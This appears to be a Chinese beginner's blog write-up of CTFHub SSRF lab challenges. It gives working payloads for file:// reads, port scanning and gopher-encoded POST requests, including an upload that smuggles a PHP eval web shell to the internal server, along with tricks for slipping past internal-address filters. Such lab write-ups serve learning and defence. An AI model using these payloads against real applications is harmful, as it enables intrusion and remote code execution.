前言 这一次是对ssrf的探索,ctfhub技能树web就快结束了,期待淦进阶 从post开始,多谢了csdn大佬的博客,那个文章写的非常好,相较于我的会更加专业 这里附上链接https://blog.csdn.net/rfrder/article/details/108589988,感谢 若是纯纯的新手,那还是往下看吧,大佬们可以直接点击链接,不喜勿喷 正文
SSRF
内网访问
题目告诉访问127就直接访问下试试,但是没想到这么简单 ?url=127.0.0.1/flag.php 
伪协议读取文件
题目提示:尝试去读取一下Web目录下的flag.php吧 可以联想到web目录一般是存放在 var/www/html/ 里面 所以payload如下 ?url=file:///var/www/html/flag.php 进入该页面,查看页面源代码得到flag
端口扫描
题目提示:来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦, 所以直接开始构造payload,然后抓包跑包 ?url=127.0.0.1:80 将端口号,即80的位置改为8000到9000的所有数字 跑包返回值不同的极有可能是flag,所以点开看下返回包 成功得到flag,本题结束
POST请求
进入题目后首先从127.0.0.1访问下flag.php ?url=127.0.0.1/flag.php 发现页面只有一个框框,输入任意数值回车,网页提示Just View From 127.0.0.1 返回框框页面,查看源代码得到key,现在还不知道key有什么用 回去看了一眼题目描述 这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.
抓个包看看,但是没看出来什么东西 参照了大佬的解法,发现里面需要使用gopher协议 上网查了下这个协议
Gopher协议格式:
URL:gopher://:/_后接TCP数据流
gopher的默认端口是70如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码 具体请参照https://baijiahao.baidu.com/s?id=1666024412704315446&wfr=spider&for=pc
但是实在是没有搞懂,就先把大佬编译好的payload拿来用了,去url解码了两次得到最初的构造:
GET /?url=gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=67b35d0520e528b57f27a44fd80b939e HTTP/1.1
对burp进行相应的修改,发包,发现??? ctfhub{b644d27a30b450b2f170c4f19ef1dd85fb1efc5d} 也不知道为啥直接就出flag了 但是这是个假flag 。。。。这里已经重启环境四次了,我实在不想写了,若是以后学习到了一定会回来补上
啊哈!,经过了十分钟的修WiFi历程,我再次尝试,他出现了!!!!!! payload如下: ?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Da2e0f4b14e5663c30ec2a8396592e563%20HTTP/1.1
最简单的就是把大佬的payload拿过来改成自己的key值这里加粗的部分就是key 把这个东西直接贴到url中即可 我个菜鸟就只能先这么做了,以后一定会深入研究ssrf的,但可能是很久以后。。。
上传文件
这道题目困扰了好久,终于解出来了 参考了多份wp,但是参考的太多了就不一一列举了 这里附带上最容易操作的一篇,感谢大佬的博客 https://senimo.blog.csdn.net/article/details/118464358 下面是解题过程
这里有个文件上传的功能,但是没有提交的按钮,所以用前端代码写一个
<input type="submit" name="submit">
然后使用burp抓包,将Host改为Host: 127.0.0.1:80 将包中的全部内容复制到url编码器中进行编码
这是首次编码的结果 POST%20%2fflag.php%20HTTP%2f1.1%0AHost:%20127.0.0.1:80%0AUser-Agent:%20Mozilla%2f5.0%20(Windows%20NT%2010.0;%20Win64;%20x64;%20rv:84.0)%20Gecko%2f20100101%20Firefox%2f84.0%0AAccept:%20text%2fhtml,application%2fxhtml%2bxml,application%2fxml;q=0.9,image%2fwebp,%2a%2f%2a;q=0.8%0AAccept-Language:%20zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2%0AAccept-Encoding:%20gzip,%20deflate%0AContent-Type:%20multipart%2fform-data;%20boundary=---------------------------15947531109096836272552357223%0AContent-Length:%20362%0AOrigin:%20http:%2f%2fchallenge-609d142b748d1a4f.sandbox.ctfhub.com:10800%0AConnection:%20close%0AReferer:%20http:%2f%2fchallenge-609d142b748d1a4f.sandbox.ctfhub.com:10800%2f?url=127.0.0.1%2fflag.php%0ACookie:%20UM_distinctid=17c0c6a2f3120f-0b6e3eac15808f8-4c3f207e-144000-17c0c6a2f33689%0AUpgrade-Insecure-Requests:%201%0A%0A-----------------------------15947531109096836272552357223%0AContent-Disposition:%20form-data;%20name=%22file%22;%20filename=%221.txt%22%0AContent-Type:%20text%2fplain%0A%0A%3C?php%20eval%20REQUEST(8)%20?%3E%0A-----------------------------15947531109096836272552357223%0AContent-Disposition:%20form-data;%20name=%22submit%22%0A%0A%C3%A6%C2%8F%C2%90%C3%A4%C2%BA%C2%A4%C3%A6%C2%9F%C2%A5%C3%A8%C2%AF%C2%A2%0A-----------------------------15947531109096836272552357223--%0A
然后进行替换,将%0A替换为%0D%0A 再进行第二次编码,下面是结果
POST%2520%252fflag.php%2520HTTP%252f1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AUser-Agent:%2520Mozilla%252f5.0%2520(Windows%2520NT%252010.0;%2520Win64;%2520x64;%2520rv:84.0)%2520Gecko%252f20100101%2520Firefox%252f84.0%250D%250AAccept:%2520text%252fhtml,application%252fxhtml%252bxml,application%252fxml;q=0.9,image%252fwebp,%252a%252f%252a;q=0.8%250D%250AAccept-Language:%2520zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2%250D%250AAccept-Encoding:%2520gzip,%2520deflate%250D%250AContent-Type:%2520multipart%252fform-data;%2520boundary=---------------------------15947531109096836272552357223%250D%250AContent-Length:%2520362%250D%250AOrigin:%2520http:%252f%252fchallenge-609d142b748d1a4f.sandbox.ctfhub.com:10800%250D%250AConnection:%2520close%250D%250AReferer:%2520http:%252f%252fchallenge-609d142b748d1a4f.sandbox.ctfhub.com:10800%252f?url=127.0.0.1%252fflag.php%250D%250ACookie:%2520UM_distinctid=17c0c6a2f3120f-0b6e3eac15808f8-4c3f207e-144000-17c0c6a2f33689%250D%250AUpgrade-Insecure-Requests:%25201%250D%250A%250D%250A-----------------------------15947531109096836272552357223%250D%250AContent-Disposition:%2520form-data;%2520name=%2522file%2522;%2520filename=%25221.txt%2522%250D%250AContent-Type:%2520text%252fplain%250D%250A%250D%250A%253C?php%2520eval%2520REQUEST(8)%2520?%253E%250D%250A-----------------------------15947531109096836272552357223%250D%250AContent-Disposition:%2520form-data;%2520name=%2522submit%2522%250D%250A%250D%250A%25C3%25A6%25C2%258F%25C2%2590%25C3%25A4%25C2%25BA%25C2%25A4%25C3%25A6%25C2%259F%25C2%25A5%25C3%25A8%25C2%25AF%25C2%25A2%250D%250A-----------------------------15947531109096836272552357223--%250D%250A
之后到初始页面抓个包 使用gather进行请求,将最初页面抓到的数据包改为这个样子,如下图 payload格式: gopher://127.0.0.1:80/_编码
当然这里也可以不抓包,直接放到url里面,如下图  我的payload:(这里我放的是整个数据包的内容哦)
GET /?url=gopher://127.0.0.1:80/_POST%2520%252fflag.php%2520HTTP%252f1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AUser-Agent:%2520Mozilla%252f5.0%2520(Windows%2520NT%252010.0;%2520Win64;%2520x64;%2520rv:84.0)%2520Gecko%252f20100101%2520Firefox%252f84.0%250D%250AAccept:%2520text%252fhtml,application%252fxhtml%252bxml,application%252fxml;q=0.9,image%252fwebp,%252a%252f%252a;q=0.8%250D%250AAccept-Language:%2520zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2%250D%250AAccept-Encoding:%2520gzip,%2520deflate%250D%250AContent-Type:%2520multipart%252fform-data;%2520boundary=---------------------------15947531109096836272552357223%250D%250AContent-Length:%2520362%250D%250AOrigin:%2520http:%252f%252fchallenge-609d142b748d1a4f.sandbox.ctfhub.com:10800%250D%250AConnection:%2520close%250D%250AReferer:%2520http:%252f%252fchallenge-609d142b748d1a4f.sandbox.ctfhub.com:10800%252f?url=127.0.0.1%252fflag.php%250D%250ACookie:%2520UM_distinctid=17c0c6a2f3120f-0b6e3eac15808f8-4c3f207e-144000-17c0c6a2f33689%250D%250AUpgrade-Insecure-Requests:%25201%250D%250A%250D%250A-----------------------------15947531109096836272552357223%250D%250AContent-Disposition:%2520form-data;%2520name=%2522file%2522;%2520filename=%25221.txt%2522%250D%250AContent-Type:%2520text%252fplain%250D%250A%250D%250A%253C?php%2520eval%2520REQUEST(8)%2520?%253E%250D%250A-----------------------------15947531109096836272552357223%250D%250AContent-Disposition:%2520form-data;%2520name=%2522submit%2522%250D%250A%250D%250A%25C3%25A6%25C2%258F%25C2%2590%25C3%25A4%25C2%25BA%25C2%25A4%25C3%25A6%25C2%259F%25C2%25A5%25C3%25A8%25C2%25AF%25C2%25A2%250D%250A-----------------------------15947531109096836272552357223--%250D%250A HTTP/1.1
Host: challenge-609d142b748d1a4f.sandbox.ctfhub.com:10800
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: UM_distinctid=17c0c6a2f3120f-0b6e3eac15808f8-4c3f207e-144000-17c0c6a2f33689
Upgrade-Insecure-Requests: 1
得到flag,该题目结束
FastCGI协议
题目中给了一个附件https://blog.csdn.net/mysteryflower/article/details/94386461是一篇讲解Fastcgi协议的博客 大家可以去先阅读一下(先不要开题目,会计时的) 这题没解出来,因为没有安装fastcgi服务 等我装好后一定回来更新这题 这里给出大佬的文章供大家参考 https://blog.csdn.net/qq_51652864/article/details/118697060?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522163315614516780255298591%2522%252C%2522scm%2522%253A%252220140713.130102334…%2522%257D&request_id=163315614516780255298591&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduend~default-1-118697060.first_rank_v2_pc_rank_v29&utm_term=ctfhubFastCGI%E5%8D%8F%E8%AE%AE&spm=1018.2226.3001.4187
Redis协议
这里我也不会做。。。 附带上wp(我的水平还是不会操作,还有待学习) https://blog.csdn.net/rfrder/article/details/108589988
URL Bypass
参考大佬的文章得知 http://www.baidu.com@192.168.0.1/与http://192.168.0.1请求的都是192.168.0.1的内容 现在我的水平先不讨论原理,就先功利一些,知道怎么做题就行了 大致上就是域名+@+内网地址实现SSRF payload: ?url=http://notfound.ctfhub.com@127.0.0.1/flag.php (看到这种题目我又再次燃起了ctf的希望,也许我可以做个签到题)
数字IP Bypass
这里直接访问127.0.0.1/flag.php,网页提示127,172,@都被ban(封禁)了 很明显不可以使用上题的方法进行解题 ip地址有十进制和十六进制两种表示方式,所以这里可以使用十六进制进行绕过   成功得到flag
302跳转 Bypass
直接访问127.0.0.1/flag.php,页面如下图  读取一下代码 但不知为啥我读取不到,网上的师傅们都可以拿到,我裂开来 算了,直接尝试localhost绕过 成功拿到flag
DNS重绑定 Bypass
这里附带上附件地址https://zhuanlan.zhihu.com/p/89426041  还用到一个地址,是用来绑定两个域名的https://lock.cmpxchg8b.com/rebinder.html
成功拿到flag
 总结  (最后做成了这样,Redis看wp没看不明白这么用那个脚本,所以就没有做这个题目)
左边这三个都是比较简单的运用的语句也就是下面这三条 ?url=127.0.0.1/flag.php ?url=file:///var/www/html/flag.php ?url=127.0.0.1:80 是比较简单的SSRF
中间的这四道题是最有技术含量的了,可是我现在还没有技术,不配独立做出他们 前面的两个是通过gother协议去解题,需要进行url编码绕过,没有涉及到环境和脚本,相对于下面那两道题目而言算是简单的
右边的四道题目可以总结成对于内网地址的绕过 方法如下:
- 通过 域名@内网地址 的方式绕过
- 通过 十六进制编码 的方式绕过
- 通过 localhost 的方式绕过
- 通过 DNS重定向 的方式绕过
其中稍有难度的是第四种,使用一个域名绑定了两个IP地址,转换地址为https://zhuanlan.zhihu.com/p/89426041
后话 这样对于SSRF的初步探索就算暂时结束了,那两个题目一定会找时间再做出来的,也会在这篇文章中进行更新,那些做出来的题目,我认为已经算是比较详细的了,类似于手把手解题,若以上有没做出来的题目可以评论区留言或者私信我,拜拜啦
|